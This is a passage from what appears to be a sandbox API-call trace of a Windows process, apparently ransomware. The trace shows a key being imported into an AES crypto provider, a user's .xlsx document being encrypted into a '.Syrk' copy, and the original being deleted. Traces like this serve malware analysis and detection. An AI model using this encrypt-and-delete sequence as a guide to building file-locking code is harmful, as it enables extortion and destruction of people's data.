(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0225.868] SystemFunction041 (in: Memory=0x5c92434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92434) returned 0x0 [0225.869] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0225.869] SystemFunction040 (in: Memory=0x5c92434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92434) returned 0x0 [0225.869] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0225.869] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0225.869] SystemFunction041 (in: Memory=0x5c92434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92434) returned 0x0 [0225.869] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0225.869] SystemFunction040 (in: Memory=0x5c92434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92434) returned 0x0 [0225.869] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0225.869] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0225.869] SystemFunction041 (in: Memory=0x5c92434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92434) returned 0x0 [0225.869] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0225.869] SystemFunction040 (in: Memory=0x5c92434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92434) returned 0x0 [0225.870] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0225.870] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0225.870] SystemFunction041 (in: Memory=0x5c92434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92434) returned 0x0 [0225.870] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0225.870] SystemFunction040 (in: Memory=0x5c92434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92434) returned 0x0 [0225.870] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0225.870] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0225.870] SystemFunction041 (in: Memory=0x5c92434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92434) returned 0x0 [0225.870] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0225.871] SystemFunction040 (in: Memory=0x5c92434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92434) returned 0x0 [0225.871] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0225.872] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0225.872] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0225.873] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0225.873] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0225.874] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0225.874] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0225.874] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0225.874] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0225.874] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0225.874] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0225.874] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0225.874] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0225.874] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0225.874] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0225.874] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0225.875] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0225.875] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0225.875] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0225.875] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0225.875] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0225.875] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0225.875] EtwEventActivityIdControl () returned 0x0 [0225.875] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0225.875] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0225.876] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0225.876] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0225.878] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d320) returned 1 [0225.880] CryptImportKey (in: hProv=0x5c4d320, pbData=0x24e4e10*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c997e0) returned 1 [0225.880] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0225.880] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.881] EtwEventActivityIdControl () returned 0x0 [0225.881] EtwEventActivityIdControl () returned 0x0 [0225.881] EtwEventActivityIdControl () returned 0x0 [0225.889] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\63c2jnbupujalczjj.xlsx")) returned 0x20 [0225.890] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\63c2jnbupujalczjj.xlsx")) returned 0x20 [0225.890] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0225.890] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", lpFilePart=0x0) returned 0x33 [0225.891] EtwEventActivityIdControl () returned 0x0 [0225.891] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.891] EtwEventActivityIdControl () returned 0x0 [0225.892] EtwEventActivityIdControl () returned 0x0 [0225.892] EtwEventActivityIdControl () returned 0x0 [0225.893] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0225.893] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", lpFilePart=0x0) returned 0x33 [0225.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0225.893] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\63c2jnbupujalczjj.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0225.894] GetFileType (hFile=0x454) returned 0x1 [0225.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0225.894] GetFileType (hFile=0x454) returned 0x1 [0225.894] EtwEventActivityIdControl () returned 0x0 [0225.894] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.896] EtwEventActivityIdControl () returned 0x0 [0225.896] EtwEventActivityIdControl () returned 0x0 [0225.896] EtwEventActivityIdControl () returned 0x0 [0225.897] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0225.897] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx.Syrk", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx.Syrk", lpFilePart=0x0) returned 0x38 [0225.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0225.897] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\63c2jnbupujalczjj.xlsx.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0225.899] GetFileType (hFile=0x458) returned 0x1 [0225.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0225.899] GetFileType (hFile=0x458) returned 0x1 [0225.899] EtwEventActivityIdControl () returned 0x0 [0225.899] CryptGenRandom (in: hProv=0x5c4d320, dwLen=0x10, pbBuffer=0x24f577c | out: pbBuffer=0x24f577c) returned 1 [0225.900] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0225.900] CryptDuplicateKey (in: hKey=0x5c997e0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99860) returned 1 [0225.900] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0225.901] CryptSetKeyParam (hKey=0x5c99860, dwParam=0x4, pbData=0x24f6aa8*=0x1, dwFlags=0x0) returned 1 [0225.901] CryptSetKeyParam (hKey=0x5c99860, dwParam=0x1, pbData=0x24f6a74, dwFlags=0x0) returned 1 [0225.901] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.901] EtwEventActivityIdControl () returned 0x0 [0225.901] EtwEventActivityIdControl () returned 0x0 [0225.902] EtwEventActivityIdControl () returned 0x0 [0226.122] EtwEventActivityIdControl () returned 0x0 [0226.123] ReadFile (in: hFile=0x454, lpBuffer=0x24f96f0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24f96f0*, lpNumberOfBytesRead=0x5a2e7d8*=0x14000, lpOverlapped=0x0) returned 1 [0226.125] CryptEncrypt (in: hKey=0x5c99860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x250d708*, pdwDataLen=0x5a2e7cc*=0x14000, dwBufLen=0x14000 | out: pbData=0x250d708*, pdwDataLen=0x5a2e7cc*=0x14000) returned 1 [0226.126] WriteFile (in: hFile=0x458, lpBuffer=0x24f5858*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24f5858*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0226.319] WriteFile (in: hFile=0x458, lpBuffer=0x250e6f4*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x250e6f4*, lpNumberOfBytesWritten=0x5a2e7b0*=0x13014, lpOverlapped=0x0) returned 1 [0226.322] ReadFile (in: hFile=0x454, lpBuffer=0x24f96f0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24f96f0*, lpNumberOfBytesRead=0x5a2e7d8*=0x8c0, lpOverlapped=0x0) returned 1 [0226.322] CryptEncrypt (in: hKey=0x5c99860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2521714*, pdwDataLen=0x5a2e7cc*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x2521714*, pdwDataLen=0x5a2e7cc*=0x8c0) returned 1 [0226.322] ReadFile (in: hFile=0x454, lpBuffer=0x24f96f0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24f96f0*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0226.322] CryptEncrypt (in: hKey=0x5c99860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2521fe0*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2521fe0*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0226.322] CryptEncrypt (in: hKey=0x5c99860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2521ffc*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2521ffc*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0226.322] WriteFile (in: hFile=0x458, lpBuffer=0x24f5858*, nNumberOfBytesToWrite=0x8d0, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x24f5858*, lpNumberOfBytesWritten=0x5a2e7f8*=0x8d0, lpOverlapped=0x0) returned 1 [0226.323] CloseHandle (hObject=0x458) returned 1 [0226.325] CloseHandle (hObject=0x454) returned 1 [0226.325] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0226.325] EtwEventActivityIdControl () returned 0x0 [0226.326] EtwEventActivityIdControl () returned 0x0 [0226.326] EtwEventActivityIdControl () returned 0x0 [0226.332] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\63c2jnbupujalczjj.xlsx")) returned 0x20 [0226.334] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0226.334] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", lpFilePart=0x0) returned 0x33 [0226.334] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0226.335] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0226.335] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0226.335] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0226.335] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0226.335] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0226.335] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0226.335] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0226.335] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0226.336] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0226.336] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0226.336] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0226.336] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0226.336] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0226.336] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0226.336] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0226.337] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\63c2jnbupujalczjj.xlsx")) returned 0x20 [0226.337] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0226.337] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", lpFilePart=0x0) returned 0x33 [0226.340] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0226.340] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", lpFilePart=0x0) returned 0x33 [0226.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0226.340] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0226.340] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", lpFilePart=0x0) returned 0x33 [0226.340] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\63c2jnbupujalczjj.xlsx\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0226.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0226.341] CoTaskMemAlloc (cb=0x404) returned 0x5c9a950 [0226.341] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9a950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0226.341] CoTaskMemFree (pv=0x5c9a950) [0226.343] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\63c2jnbupujalczjj.xlsx")) returned 0x20 [0226.343] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0226.343] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx", lpFilePart=0x0) returned 0x33 [0226.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0226.343] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\63c2jnbupujalczjj.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x252dad4 | out: lpFileInformation=0x252dad4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebc4ee50, ftCreationTime.dwHighDateTime=0x1d99667, ftLastAccessTime.dwLowDateTime=0x5050d8c0, ftLastAccessTime.dwHighDateTime=0x1d99b68, ftLastWriteTime.dwLowDateTime=0x5050d8c0, ftLastWriteTime.dwHighDateTime=0x1d99b68, nFileSizeHigh=0x0, nFileSizeLow=0x148c0)) returned 1 [0226.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0226.343] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\63c2jnbupujalczjj.xlsx")) returned 1 [0226.346] EtwEventActivityIdControl () returned 0x0 [0226.346] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0226.346] EtwEventActivityIdControl () returned 0x0 [0226.346] EtwEventActivityIdControl () returned 0x0 [0226.346] EtwEventActivityIdControl () returned 0x0 [0226.399] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\63c2jnbupujalczjj.xlsx.syrk")) returned 0x20 [0226.400] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\63c2jnbupujalczjj.xlsx.syrk")) returned 0x20 [0226.400] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0226.400] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\63C2JNBupUJaLCzjj.xlsx.Syrk", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: 